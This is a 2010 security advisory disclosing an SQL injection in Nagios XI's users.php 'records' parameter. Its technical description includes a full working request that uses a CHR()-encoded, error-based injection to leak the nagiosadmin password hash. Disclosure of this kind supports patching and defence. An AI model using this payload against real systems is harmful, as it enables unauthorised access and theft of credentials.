Nagios XI users.php SQL Injection
Advisory Information
Advisory ID: NGENUITY-2010-008
Date published: Aug. 24, 2010
Vulnerability Information
Class: SQL Injection (SQLi)
Remotely Exploitable: Yes
Locally Exploitable: Yes
Software Description
Nagios XI is the commercial / enterprise version of the open source Nagios project.
Vulnerability Description
Nagios XI prior to version 2009R1.3 is vulnerable to SQL Injection. It is possible for specially designed queries to extract data via the database error messages. Authentication and access to users.php is required. It is possible to also use this SQL injection has a remote XSS vector as the error message is not properly sanitized.
Technical Description
The records variable on the users.php command is not properly sanitized and allows for injection of SQL commands. Stacked queries are also allowed into the postgres database.
http://example.com/nagiosxi/admin/users.php?records=int8((select password from xi_users where username= CHR(110)||CHR(97)||CHR(103)||CHR(105)||CHR(111)||CHR(115)||CHR(97)||
CHR(100)||CHR(109)||CHR(105)||CHR(110)))
&sortby=username&sortorder=asc&search=&page=1
The password hash of the nagiosadmin user would be displayed in the error message as a result of this query.
References
Credits
This vulnerability was discovered by Adam Baldwin
Disclaimer
The contents of this advisory are copyright (c) nGenuity Information Security and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.